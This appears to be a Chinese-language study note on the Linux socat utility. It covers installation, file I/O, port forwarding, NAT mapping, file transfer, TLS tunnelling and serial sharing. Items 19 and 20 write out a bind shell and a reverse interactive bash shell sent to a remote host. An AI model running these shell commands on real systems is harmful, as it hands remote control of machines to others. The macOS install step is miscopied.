又接到任務,讓學習一下Linux中的Socat命令,故寫下此篇學習筆記,小白一枚,大佬勿噴。
一、Socat 介紹
Socat 是 Linux 下的一個多功能的網絡工具,名字來由是 「Socket CAT」。其功能與有瑞士軍刀之稱的 Netcat 類似,可以看做是 Netcat 的加強版。
Socat 的主要特點就是在兩個數據流之間建立通道,且支持眾多協議和鏈接方式。如 IP、TCP、 UDP、IPv6、PIPE、System、Open、Proxy、Openssl 等。
Socat 的官方網站:http://www.dest-unreach.org/socat/
二、Socat 安裝
1、通過源碼方式安裝
1 $ wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
2 $ tar zxf socat-1.7.3.2.tar.gz 3 $ cd socat-1.7.3.2
4 $ ./configure 5 $ make 6 $ make install
2、通過包安裝
Centos
1 $ yum install -y socat
Debian/Ubuntu
1 $ apt-get install -y socat
macOS
1 socat [options] <address> <address>
三、Socat 基本用法
1 socat [options] <address> <address>
其中這 2 個 address 就是關鍵了,address 類似於一個文件描述符,Socat 所做的工作就是在 2 個 address 指定的描述符間建立一個 pipe 用於發送和接收數據。幾個常用的 address 描述方式如下:
- -, STDIN, STDOUT 表示標准輸入輸出,可以就用一個橫杠代替。
- /var/log/syslog 打開一個文件作為數據流,可以是任意路徑。
- TCP:: 建立一個 TCP 連接作為數據流,TCP 也可以替換為 UDP 。
- TCP-LISTEN: 建立一個TCP監聽端口,TCP 也可以替換為 UDP。
- EXEC: 執行一個程序作為數據流。
以上規則中前面的 TCP 等都可以小寫,在這些描述后可以附加一些選項,用逗號隔開。如 fork,reuseaddr,stdin,stdout,ctty 等。
四、Socat 使用實例
文件操作
1、通過Socat讀文件
1 # 從絕對路徑讀取 2 $ socat - /var/www/html/flag.php
3 # 從相對路徑讀取 4 $ socat - ./flag.php
2、通過Socat寫文件
1 $ echo "This is Test" | socat - /tmp/hello.html
網絡管理
3、連接遠程端口
1 $ socat - TCP:192.168.1.252:3306
4、監聽一個新端口
1 $ socat TCP-LISTEN:7000 -
端口轉發
在實際生產中我們經常會遇到到一個場景就是,用一台機器作為轉發服務器,連接 AB 兩個網段,將轉發服務器的某個端口上的流量轉發到 B 網段的某台機器的某個端口,這樣 A 網段的服務器就可以通過訪問轉發服務器上的端口訪問到 B 網段的服務器端口。
這樣的場景一般在和客戶建立專線的連接時候經常用到,一般也可以采用 iptables 做轉發,但是比較復雜。Socat 可以很輕松的完成這個功能,但是 Socat 不支持端口段轉發,只適用於單端口或者少量端口。
5、轉發TCP
監聽 192.168.1.252 網卡的 15672 端口,並將請求轉發至 172.17.0.15 的 15672 端口。
1 $ socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
參數說明:
①. -d -d 前面兩個連續的 -d -d 代表調試信息的輸出級別。
②. -lf /var/log/socat.log 指定輸出信息的文件保存位置。
③. TCP4-LISTEN:15672 在本地建立一個 TCP IPv4 協議的監聽端口,也就是轉發端口。這里是 15672,請根據實際情況改成你自己需要轉發的端口。
④. bind 指定監聽綁定的 IP 地址,不綁定的話將監聽服務器上可用的全部 IP。
⑤. reuseaddr 綁定一個本地端口。
⑥. fork TCP4:172.17.0.15:15672 指的是要轉發到的服務器 IP 和端口,這里是 172.17.0.15 的 15672 端口。
6、轉發UDP
1 $ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
7、NAT 映射
在一個 NAT 網絡環境中,也是可以通過 Socat 將內部機器端口映射到公網上的。
在外部公網機器上執行
1 $ socat tcp-listen:1234 tcp-listen:3389
在內部公網機器上執行
1 $ socat tcp:outerhost:1234 tcp:192.168.1.34:3389
這樣,你外部機器上的 3389 就映射在內網 192.168.1.34 的 3389 端口上了。
文件傳遞
8、文件傳送
將文件 demo.tar.gz 使用 2000 端口從 192.168.1.252 傳到 192.168.1.253,文件傳輸完畢后會自動退出。
在 192.168.1.252 上執行
1 $ socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上執行
1 $ socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示數據傳輸模式為單向,從左面參數到右面參數。
9、讀寫分流功能
Socat 具有一個獨特的讀寫分流功能,比如:可以實現一個假的 Web Server,客戶端連過來之后就把 read.html 里面的內容傳過去,同時把客戶端的數據保存到 write.txt 里面。
1 $ socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符號用於合並讀寫流,前面的用於讀,后面的用於寫。由於 ! 在 Shell 中是特殊字符,所以這里在命令行中使用 \ 對其進行了轉義。
10、監聽一個 TCP 端口
1 $ socat tcp-listen:12345 -
11、向 TCP 端口發送數據
1 $ echo "test" | socat - tcp-connect:127.0.0.1:12345
12、監聽一個 UDP 端口
1 $ socat udp-listen:23456 -
13、向一個 UDP 端口發送數據
1 $ echo "test" | socat - udp-connect:127.0.0.1:23456
14、監聽一個 Unix Socket
1 $ socat unix-listen:/tmp/unix.socket -
15、向本地 Unix Socket 發送數據
1 $ echo "test" | socat - unix-connect:/tmp/unix.sock
16、監聽本地 Unix Datagram Socket
1 $ socat unix-recvfrom:/tmp/unix.dg.sock -
17、向本地 Unix Datagram Socket 發送數據
1 $ echo "test" | socat - unix-sendto:/tmp/unix.dg.sock
18、通過 Openssl 來加密傳輸過程
假設有一個服務器主機,地址為 server.domain.org
。 並且服務端程序使用 4433 端口。為了盡可能的簡單,我們使用一個非常簡單的服務功能,即服務端僅回顯數據(echo),客戶端只進行標准輸入(stdio)。要進行 Openssl 加密數據傳輸,首先需要生成 Openssl 證書。
① 生成服務端的證書
1 # 為服務端的證書取一個基本的名字。 2 $ FILENAME=server 3 # 生成公鑰私鑰對。 4 $ openssl genrsa -out $FILENAME.key 1024
5 # 生成一個自簽名的證書,會提示你輸入國家代號、姓名等,或者按下回車鍵跳過輸入提示。 6 $ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt 7 # 用剛生成的密鑰文件和證書文件來生成PEM文件。 8 $ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
服務端證書生成完成后,復制信任證書 server.crt 到 SSL 客戶端所在的主機上
② 生成客戶端的證書
1 # 為客戶端證書取一個不同的文件名 2 $ FILENAME=client
重復上述服務端生成證書的流程。然后復制 client.pem 到 SSL 客戶端主機,復制 client.crt 到服務端主機。至此完成了證書交換,服務端有 server.pem、client.crt 兩個文件,客戶端有 client.pem 、server.crt 兩個文件。
其次我們需要建立 Openssl 服務端,在服務端我們不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 參數告訴 Socat 包含證書和私鑰的文件,cafile 參數指向客戶端的證書文件。如果客戶端能提供相關聯的私鑰,我們則認為該連接是可靠的。
1 $ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo
運行這個命令后,Socat 會在 4433 端口監聽,並要求客戶端進行身份驗證。
最后在客戶端建立一個加密的鏈接,用 openssl-connect 或者 ssl 替換你的 tcp-connect 或 tcp 地址關鍵字,然后添加 cert 和 cafile 選項。
1 $ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt 2 test 3 test
19、建立一個正向 Shell
服務端
1 # 在服務端 7005 端口建立一個 Shell。 2 $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr 3 或者 4 $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
客戶端
1 # 連接到服務器的 7005 端口,即可獲得一個 Shell。readline 是 GNU 的命令行編輯器,具有歷史功能。 2 $ socat readline tcp:127.0.0.1:7005
20、反彈一個交互式的 Shell
當有主機連接服務端的 7005 端口時,將會發送客戶端的 Shell 給服務端。
服務端
1 $ socat -,raw,echo=0 tcp-listen:7005
客戶端
1 $ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane
21、fork 服務
將一個使用標准輸入輸出的單進程程序變為一個使用 fork 方法的多進程服務,非常方便
$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
22、將 U 盤進行網絡共享
1 $ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
23、將終端轉發到串口
$ socat READLINE,/dev/ttyS0,raw,echo=0,crnl
24、讓 Socat 后台運行
默認情況下 Socat 只在前台運行,如果要讓 Socat 一直在后台運行,可以使用 nohup 命令來保證其在后台一直運行。
$ nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &
除了 nohup 外,Linux 下讓進程在后台運行的方法還很多,比如:screen、tmux 等。
在 Linux 中一切都是文件,無論是 Socket 還是其他設備。所以從理論上來說,一切能夠在文件層級訪問的內容都可以成為 Socat 的數據流的來源。2 個 address 可以任意發揮,能夠做到的事情還有很多。這樣比起來,Socket 的確比 Netcat 更加強大。
參考文檔
https://www.google.com
http://t.cn/R3X3HV3
http://t.cn/R3X3u1o
http://t.cn/R3XB1oh
http://t.cn/R3aIcrh
http://t.cn/R39vQ0v
http://t.cn/R395hiP
http://t.cn/R399TKv